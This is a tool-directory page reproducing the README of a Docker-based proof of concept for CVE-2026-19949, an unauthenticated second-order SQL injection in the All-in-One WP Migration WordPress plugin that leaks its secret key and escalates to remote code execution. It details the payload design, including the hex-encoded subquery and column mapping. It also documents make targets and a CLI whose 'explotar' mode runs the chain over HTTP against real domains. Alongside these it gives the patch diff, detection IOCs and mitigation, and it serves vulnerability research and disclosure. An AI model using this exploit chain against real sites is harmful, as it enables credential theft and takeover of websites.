Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
POC-AIOWPM-CVE-2026-19949 — Reproducible Docker-based proof-of-concept for CVE-2026-19949, a second-order SQL injection in All-in-One WP Migration <= 7.109 that leaks the ai1wm_secret_key via anonymous REST and escalates to remote code execution. | Kitploit
Tools/GitHubGitHub/686f6c61/poc-aiowpm-cve-2026-19949
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingLabs & Practice
GitHub686f6c61/poc-aiowpm-cve-2026-19949

POC-AIOWPM-CVE-2026-19949

Reproducible Docker-based proof-of-concept for CVE-2026-19949, a second-order SQL injection in All-in-One WP Migration <= 7.109 that leaks the ai1wm_secret_key via anonymous REST and escalates to remote code execution.

View RepositoryWebsite
17h 48m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-19949 — Documented, reproducible-in-Docker proof of concept

Unauthenticated second-order SQL injection in All-in-One WP Migration and Backup (WordPress) that escalates to leaking the ai1wm_secret_key and, with it, to remote code execution (RCE).

Read this in: English · Español

CVECVE-2026-19949
PluginAll-in-One WP Migration and Backup (ServMask), ≤ 7.109
Patch7.110 (August 20, 2026)
CVSS8.8 (High) — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
PrerequisiteAn administrator exporting and restoring the site (a routine action with this plugin)
ResearcherJack Taylor (Wordfence bug bounty program)

⚠️ Educational and defensive use only. This lab attacks a WordPress site running on your own machine, inside Docker containers. Do not use it against systems you do not own or are not explicitly authorized to test.

Table of contents

  1. Vulnerability overview
  2. Root cause: the regex that flips the string boundary
  3. The patch (7.109 → 7.110)
  4. Full attack chain
  5. The derived payload (our own design)
  6. What this repository reproduces and verifies
  7. Version compatibility (verified)
  8. Repository layout
  9. Requirements and quick start
  10. Step-by-step phases (make targets)
  11. Demo CLI
  12. CVE landing page
  13. Detection and mitigation
  14. Research notes
  15. References
  16. Legal notice

1. Vulnerability overview

The plugin's export/import flow dumps the database to SQL (database.sql inside the .wpress) and, on import, rewrites every statement with Ai1wm_Database::replace_table_values() to substitute URLs and table prefixes. To locate string literals it uses the regex:

root@kitploit:~
// 7.109 (vulnerable) — class-ai1wm-database.php:1637
preg_replace_callback( "/'(.*?)(?<!\\\\)'/S", array( $this, 'replace_table_values_callback' ), $input );

The problem is the negative lookbehind (?<!\\): it inspects a single byte before each candidate closing quote instead of counting the full run of backslashes. In a MySQL dump, data ending in \ is written as ...\\' — a closing quote preceded by an even number of backslashes (a real string ending in a backslash) — but the regex believes it is escaped and over-captures the next literal. The callback then runs unescape_mysql → replace_serialized_values → escape_mysql over the over-captured value, and that cycle re-emits an unbalanced quote/backslash sequence that flips the MySQL string boundary in the resulting statement, promoting attacker-controlled data into executable SQL.

2. Root cause: the regex that flips the string boundary

With the trackback planted (see §4), the row in database.sql reads:

root@kitploit:~
INSERT INTO `…_comments` VALUES (2,4,'Jack Blogs\\\\','','/*payload*/…','172.18.0.1',…);

The author ends in \ at the data level → the dump writes it as \\ → the closing quote is preceded by an even run. The regex over-captures up to the opening quote of the next field and the callback re-escapes the whole set:

root@kitploit:~
'Jack Blogs\\\\','            ← over-captured content
unescape → 'Jack Blogs\\','   ← strtr collapses the pairs
escape   → 'Jack Blogs\\\\\', ← a NEW escaped quote has appeared
output   → 'Jack Blogs\\\\\','…'  ← the `\ , '` pair flips the string boundary

From that point on, everything that followed in the statement is re-tokenized with inverted parity (data that was a string becomes code and vice versa). The patched 7.110 regex processes the same line and returns it unchanged.

You can watch it byte by byte, without exploiting anything, with make demo-flip (exploit/04_demo_flip.php), which runs the REAL 7.109 and 7.110 plugin code over the same dump line.

3. The patch (7.109 → 7.110)

root@kitploit:~
- $input = preg_replace_callback( "/'(.*?)(?<!\\\\)'/S", array( $this, 'replace_table_values_callback' ), $input );
+ $input = preg_replace_callback( "/'((?:[^'\\\\]++|\\\\.)*+)'/sS", array( $this, 'replace_table_values_callback' ), $input );

The new pattern tokenizes MySQL literals correctly: either a character that is not a quote/backslash, or an escape pair \x, with possessive quantifiers. An even backslash run no longer confuses the literal's closing quote.

4. Full attack chain

The chain published by Wordfence (Sept. 2026) has four steps:

  1. Planting (unauthenticated) — the attacker sends trackbacks to a public post with open pings (wp-trackback.php?p=<id>). The blog name (→ comment_author) ends in \ and the URL (→ comment_author_url) carries the payload. WordPress stores both without touching the backslash. In the published variant, the first trackback acts as a time bomb: it forces the import pass to be cut off (10 s limit) so the payload executes in a later pass, once the importer has restored the site's ai1wm_secret_key into wp_options (the exporter excludes it from the dump; the importer rewrites it between passes).
  2. Trigger (admin action) — an administrator exports and restores the site. During the import, the vulnerable regex rewrites the trackback row: the string boundary flips and the payload becomes executable SQL.
  3. Leak — the payload copies ai1wm_secret_key into an approved comment of type comment, visible in the comments REST API without authentication.
  4. RCE — admin-ajax.php?action=ai1wm_import is registered for anonymous users too (wp_ajax_nopriv_ai1wm_import) and its only barrier is ai1wm_verify_secret_key(). With the leaked key, the attacker drives the import chain with their own .wpress containing a mu-plugin; the Ai1wm_Import_Mu_Plugins step (priority 270 of the chain) extracts it to wp-content/mu-plugins/ → code execution on the next page load.

This repository verifies the chain end to end with a single planted trackback (the time bomb is not needed in the lab: the row executes in a pass subsequent to the key being restored).

5. The derived payload (our own design)

The researcher's exact exploit is not public (exhaustive search on 2026-09-07: GitHub — the 2 existing repos are an empty template and a mass tool targeting nonexistent endpoints —, Exploit-DB/PacketStorm: none, Sploitus only indexes those fake repos, WPScan has no PoC, forums only carry news; forensic detail in research/poc-publica/ANALISIS.md).

We derived it ourselves from the mechanics of the bug (exploit/investigacion/). Design:

  1. The blog name ends in \ → the vulnerable regex's one-byte lookbehind over-captures the next literal and the unescape→escape cycle flips the string boundary.
  2. After the flip, the attacker's URL sits as bare SQL code inside the INSERT statement (the merged comment_author and a , string absorb the offset; a leading comma in the URL restores the swallowed structural separator).
  3. The URL supplies the remaining 12 expressions of the tuple using hex literals and /**/ as separators:
    • a quote from the data reaches the dump as \' and, in code position, would leave an orphan backslash (error 1064) — hence hex (0x616931776d… = "ai1wm_secret_key");
    • sanitize_url strips spaces (and prepends http:// to anything not starting with /) — hence the /*pwn*/ head and the /**/;
    • column mapping: column 5 (comment_author_url) = the subquery reading the key → the key lands in a public field; column 11 = 0x31 ('1', approved comment); column 13 = 0x636f6d6d656e74 ('comment', visible in the anonymous REST);
    • ) closes the tuple with exactly 15 values and # (a MySQL comment needing no space, preserved by sanitize_url) neutralizes the rest of the original statement.
  4. The subquery references SERVMASK_PREFIX_options: the importer rewrites SERVMASK→real prefixes before the regex pass, so the payload works on sites with any table prefix (verified). The only target-specific datum is its URL, carried in the excerpt to trip the importer's strpos filter (it only rewrites lines containing it).

The resulting statement (the one MySQL executes during the restore): comment_author_url = (SELECT option_value FROM <prefix>_options WHERE option_name='ai1wm_secret_key') — the real key ends up in a field the REST API exposes without authentication.

6. What this repository reproduces and verifies

Chain stepStatusWhere
Reproducible vulnerable install (WP 7.1 + plugin 7.109)✅make lab
Unauthenticated trackback planting (byte-exact, auto-approved)✅make plant
Admin export; dump contains the planted row✅make export
Root cause: 7.109 regex flips the string boundary (7.110 leaves it intact)✅make demo-flip
Admin restore: the flip rewrites the SQL and corrupts/drops the row on 7.109✅make restore
Key leak (our derived payload) → real leak via unauthenticated REST✅make leak
RCE: unauthenticated import with the key → mu-plugin executed✅make rce-auto
Negative control: on 7.110 the row survives intact, no leak✅make control-7110
WP 7.1 / 7.0.4 / 6.9.4 / 6.8.3 matrix: full chain ✓ on all✅research/test-wp-versions.sh
Full remote chain (HTTP-only, valid against a real domain)✅python3 cli/poc.py explotar …

End-to-end verified outcome: after the admin's export+restore, the real ai1wm_secret_key shows up as the author_url of an approved comment in GET /wp-json/wp/v2/comments — with no authentication whatsoever — and the RCE phase runs with it (mu-plugin extracted and executed, evidence markers in wp-content/). On 7.110 the row survives intact (the payload stays inert data) and there is no leak.

The RCE phase is additionally demonstrated in isolation: its only input is the key, which can be passed by hand (make rce KEY=…) — exactly the attacker's position after the leak.

7. Version compatibility (verified)

Matrix run with bash research/test-wp-versions.sh 7.0 6.9 6.8 (lab rebuilt per version, plugin 7.109, identical payload):

WordPressplantexportrestoreleakRCE
7.1.0✓✓✓✓✓
7.0.4✓✓✓✓✓
6.9.4✓✓✓✓✓
6.8.3✓✓✓✓✓

The mechanics are stable across all of them: sanitize_url preserves the payload, wp_comments keeps its 15 columns, and wp-trackback.php remains operational. The payload is table-prefix independent (see §5).

8. Repository layout

root@kitploit:~
docker-compose.yml          WordPress (php8.2-apache) + MySQL 8; PLUGIN_VERSION and
                            WP_VERSION configurable (7.109 default, 7.110 control)
docker/wordpress/Dockerfile victim site image: wp-cli + plugin from WordPress.org
setup/init.sh               core install, plugin activation, ping-open post,
                            comments without moderation
exploit/                    ← numbered PoC phases
  01_plant_trackback.sh     Phase 1 — malicious trackback (unauthenticated)
  02_export.sh              Phase 2a — admin export (via aiowpm_client)
  03_restore.sh             Phase 2b — admin restore + BEFORE/AFTER of the row
  04_demo_flip.php          Root cause byte by byte: 7.109 vs 7.110 regex
  05_build_wpress.py        Builds the malicious .wpress (package.json + mu-plugin)
  06_rce_unauth.py          Phase 3 — unauthenticated import with the key → RCE
  07_leak_key.sh            Phase 3a — reads the leaked key from anonymous REST
  aiowpm_client.py          Client for the plugin's AJAX protocol (export/import
                            by priorities, like its JavaScript)
  wpress.py                 .wpress format reader/writer (4377-byte blocks)
  mu_plugin.php             BENIGN mu-plugin (evidence markers, no shell)
  investigacion/            Harnesses and fuzzers used to DERIVE the payload:
                            harness.php (real plugin pipeline + test MySQL),
                            tuning/tests/fuzzers, analysis NOTAS.md (Spanish)
cli/poc.py                  Demo CLI: lab / scan / verificar / explotar
web/index.html              Bilingual CVE landing page (vulnerability-database
                            style; no external dependencies)
research/
  test-wp-versions.sh       Compatibility matrix per WordPress version
  poc-publica/ANALISIS.md   Forensic refutation of the fake "public PoCs" (Spanish)
Makefile                    Targets: lab, plant, export, restore, demo-flip,
                            leak, rce-auto, full-demo, control-7110, demo-cli…
README.md / README.en.md    This documentation (ES/EN)
.gitignore                  Excluded: reports with keys, generated .wpress, plugin
                            zips/sources (third party), downloaded fake PoCs

Artifacts generated while running and not shared (see .gitignore): informes/ (contains leaked keys), exploit/malicious.wpress, plugin-src/ (extracted 7.109/7.110 sources used for diffing), research/*.zip (original zips from WordPress.org), research/database.sql, research/backup-legit.wpress, and the files of the analyzed fake PoCs.

9. Requirements and quick start

Requirements: Docker (with the compose plugin), make, python3 with requests, curl.

root@kitploit:~
make full-demo      # full lab from scratch: lab → plant → export → restore →
                    # flip → leak → rce (all of the above in one command)

Expected output (abridged):

root@kitploit:~
FASE 1   trackback planted unauthenticated (error 0, comment_approved=1)
FASE 2a  export OK → .wpress in ai1wm-backups/
FASE 2b  restore: BEFORE there are 2 trackbacks → AFTER only the benign one:
         the row ending in '\' is lost (rewritten/corrupt INSERT on 7.109)
FLIP     7.109 regex: 'Jack Blogs\\\\', → 'Jack Blogs\\\\\','  (boundary flipped)
         7.110 regex: the line comes out IDENTICAL
LEAK     ai1wm_secret_key visible in the comments REST without authentication
RCE      anonymous import with the key → /var/www/html/PWNED_CVE_2026_19949.txt
         + wp-content/mu-plugins/pwned.php + option pwned_cve_2026_19949

Victim site access: http://localhost:8080 — admin / admin-password-123 (public post ID 4 with open pings and comments).

10. Step-by-step phases (make targets)

root@kitploit:~
make lab             # bring up / initialize the lab (plugin 7.109)
make plant           # Phase 1 — plant the trackback (anonymous)
make export          # Phase 2a — export as admin
make restore         # Phase 2b — restore as admin (shows BEFORE/AFTER)
make demo-flip       # root cause: 7.109 vs 7.110 on the same line
make leak            # Phase 3a — read the leaked key from REST (anonymous)
make rce KEY=XXXX    # Phase 3 — RCE passing the key by hand
make rce-auto        # Phase 3 — RCE chained with the leaked key
make control-7110    # negative control with the patched plugin
make lab-7109        # back to the vulnerable lab after the control
make demo-cli        # full demo via CLI (+ report and negative control)
make scan-cli URL=https://www.example.com   # non-invasive detection
make landing         # serve the CVE landing page at http://localhost:8090
make status | logs   # container status / WordPress log
make down | clean    # stop / stop and remove volumes and artifacts

11. Demo CLI

A single command with all modes; writes reports to informes/ (text + JSON; that folder is kept out of the repository because it contains keys):

root@kitploit:~
python3 cli/poc.py lab            # full demo in the lab (chain + 7.110 control)
python3 cli/poc.py scan https://www.yourdomain.com     # NON-invasive detection (plugin version)
python3 cli/poc.py verificar https://www.yourdomain.com # key already leaked? (anonymous REST)
python3 cli/poc.py explotar https://www.yourdomain.com --acepto-responsabilidad \
    --admin-user YOUR_ADMIN --admin-pass YOUR_PASS --rce # full chain on YOUR domain
  • lab brings up the lab, runs the whole chain plus the 7.110 negative control, and writes the report (--sin-control to skip it).
  • scan is 100 % passive: reads the plugin's public readme.txt, checks wp-trackback.php and the comments REST. Returns a verdict.
  • verificar re-checks whether the key already appears in the anonymous REST (e.g. hours after planting, once the admin has done a backup+restore).
  • explotar is INVASIVE and requires --acepto-responsabilidad plus an interactive confirmation of the domain: plants the trackback, simulates the admin (export → backup download → re-upload and restore; HTTP-only, with credentials YOU provide for YOUR site), reads the leaked key and, with --rce, leaves a benign marker via anonymous import. Without admin credentials: it plants and waits (--esperar to hold for the leak; --post-id to pick a post; --no-interactivo for scripting).

12. CVE landing page

A static bilingual page (ES/EN, header toggle, remembered preference) that explains the CVE and the payload in vulnerability-database style: overview, chain, interactive payload breakdown segment by segment, verification matrices and mitigation.

root@kitploit:~
make landing          # serves http://localhost:8090

No external dependencies (no CDN, no third-party JS): works by opening web/index.html directly or with any static server.

13. Detection and mitigation

  • Update All-in-One WP Migration and Backup to ≥ 7.110 (the mitigation is the regex patch itself).
  • Additional defensive measures: close wp-trackback.php and pingbacks (discussion settings / WAF), restrict admin-ajax.php for anonymous users where possible, and monitor for files appearing in wp-content/mu-plugins/ and for the ai1wm_secret_key option in anomalous contexts (e.g. comments).
  • IOCs (for detection purposes): trackback comments whose comment_author ends in \ or whose comment_author_url contains SELECT/**/, CONCAT(, long 0x… literals or /*…*/; approved comments whose author_url is a 12-character alphanumeric string with no scheme.

14. Research notes

  • Payload derivation (exploit/investigacion/, notes in Spanish): we started from a harness (harness.php) that loads the REAL 7.109 plugin classes and runs the pipeline against a test MySQL holding a fake key. The fuzzers (search_payload.php, fuzz_rows.php, fuzz4.php, bruteforce_author.php) explored critical alphabets over the four attacker-controllable trackback fields; afinar_payload.php tuned the number of expressions (N=12) and test_payload_final.php validated the complete design. NOTAS.md records the analysis, including the structural walls (fixed fields of the wp_comments INSERT, the importer-imposed sql_mode, the site-URL strpos filter).
  • There is no real public exploit (research/poc-publica/ANALISIS.md, in Spanish): the two GitHub repos claiming one use nonexistent endpoints (aio-migration/v1 with permission_callback vs the real ai1wm/v1), the wrong upload field (file vs upload_file), ZIP instead of .wpress, and a circular premise. No tertiary source has an original PoC.
  • The exploit in this PoC is derived from the mechanics, not copied from anyone: an independent verification that the chain published by Wordfence is exploitable exactly as described.

15. References

  • Wordfence — 5 Million WordPress Sites Affected by SQL Injection Vulnerability in All-in-One WP Migration and Backup WordPress Plugin (September 2026)
  • CVE entry: https://nvd.nist.gov/vuln/detail/CVE-2026-19949
  • WPScan — All-in-One WP Migration and Backup < 7.110 — Unauthenticated Second-Order SQLi — https://wpscan.com/vulnerability/03fc9f1a-5199-40fa-960d-75a266eb7e95/
  • Patch 7.110: https://downloads.wordpress.org/plugin/all-in-one-wp-migration.7.110.zip (the vulnerable→patched diff lives in lib/vendor/servmask/database/ class-ai1wm-database.php:1637; extracted sources sit in plugin-src/, not shared)

16. Legal notice

This material is published for educational and defensive purposes: understanding the vulnerability, verifying the patch, and building detections. The chain has only been executed against self-owned Docker labs. Attacking third-party systems without written authorization is illegal in most jurisdictions. If you run affected sites: update to ≥ 7.110, rotate the ai1wm_secret_key (deactivate/reactivate the plugin or delete the option so it is regenerated) and audit wp-content/mu-plugins/ and recent comments.

Download Tool